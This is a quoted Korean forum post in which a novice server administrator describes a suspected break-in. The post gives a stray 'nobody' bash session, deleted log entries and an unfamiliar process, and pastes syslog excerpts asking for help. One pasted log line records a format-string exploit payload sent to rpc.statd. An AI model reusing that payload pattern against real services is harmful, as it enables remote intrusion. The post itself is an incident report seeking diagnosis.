: 서버로 로긴후 버릇처럼.... 쉘상에서 w 를 눌렀습니다.
: 그런데...
: 왠 nobody... 결코 w 상에서는 모습을 드러내지 않던 놈이 2놈이 있더라구요.
: 한놈은 ftp ... 한놈은 -bash 상태로...
: nobody   pts/1    -                 9:01pm 42:56   0.07s  0.07s  -bash
:
:
: 이상하더라구요..
:
: 그래서... 로그파일을 살폈습니다.
: 대충 살펴서 부분부분만 카피를 했습니다.
: 그런데 왠걸.... 좀 있다가 다시 확인차... 들어 갔더니...21:01시간대(이놈
: 이 작업을 시작한 시간으로 예상됨) 에 부분들이 없어 졌어요...
:
: 음... 물론 아이피랑은 확보 해 놨지만...
:
: 한번 봐주십시오...로그파일입니다.
: (참고로 저는 이시간대에 한텀을 띄운적이 없습니다. 결코...낮에 잠깐 접속하
: 고 안 했습니다. )
:
:
: /var/log/message
:
: nobody   26397   759  0 21:00 ?  0:00:02 /usr/local/apache/bin/httpd
: nobody   26473 26469  0 21:01 pts/1    00:00:00 -bash
:
:
:
: /var/log/secure
:
: nobody   26397   759  0 21:00 ?       0:00:02 /usr/local/apache/bin/httpd
: root     26469 26177  0 21:01 ?       00:00:00 /usr/bin/X11/hanterm -ls -
: display 211.198.246.237:0.0
: nobody   26473 26469  0 21:01 pts/1   00:00:00 -bash
:
:
:
: 그리고 top 명령을 때려 보니..
: 전혀 모습을 드러내지 않던....magicdev 란 놈이 실행중입니다.
: 저는 한번도 본적이 없는데...어디다가 사용되는 놈인지도 모르겠구요...
: 이놈은 또 뭐죠..?
:
:
: 기타 등등 의심되는 로그파일입니다. (이부분은 부분부분 카피해서 시간순거
: 가 아닙니다.)
:
:
: Jan 26 21:25:26 www proftpd[27503]: www.도메인.com (211.198.246.237
: [211.198.246.237]) - FTP session closed.
: Jan 26 21:25:26 www kernel: VFS: busy inodes on changed media.
: Jan 26 21:25:58 www last message repeated 16 times
: Jan 26 21:26:13 www last message repeated 7 times
: Jan 26 21:26:13 www named[558]: "134.116.211.in-addr.arpa IN NS" points
: to a CNAME (ns.도메인.com)
: Jan 26 21:26:15 www kernel: VFS: busy inodes on changed media.
: Jan 26 21:26:23 www last message repeated 4 times
: Jan 26 21:26:23 www inetd[544]: pid 27572: exit status 1
: Jan 26 21:26:25 www kernel: VFS: busy inodes on changed media.
: Jan 26 21:26:57 www last message repeated 16 times
: Jan 26 21:27:17 www last message repeated 10 times
: Jan 26 21:27:19 www inetd[544]: pid 27624: exit status 1
: Jan 26 21:27:19 www kernel: VFS: busy inodes on changed media.
: Jan 26 21:27:51 www last message repeated 16 times
:
:
: Jan 26 21:18:38 www rpc.statd[389]: gethostbyname error for ^X??X??Y??Y??
: Z??Z??[??[??8x%8x%8x%8x
: %8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%
: n~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
:
: Jan 25 18:08:49 www kernel: VFS: busy inodes on changed media.
: Jan 25 18:09:21 www last message repeated 17 times
: Jan 25 18:09:22 www inetd[544]: pid 4810: exit status 1
: Jan 25 18:09:23 www kernel: VFS: busy inodes on changed media.
:
:
:
: 마지막으로 VFS 란 놈은 또 뭐죠...
:
:
:
: 초보 서버 운영자의 한탄스러운 고백이었습니다.
:
: =_-;;;;
:
: --
: =_-;;;;;;;;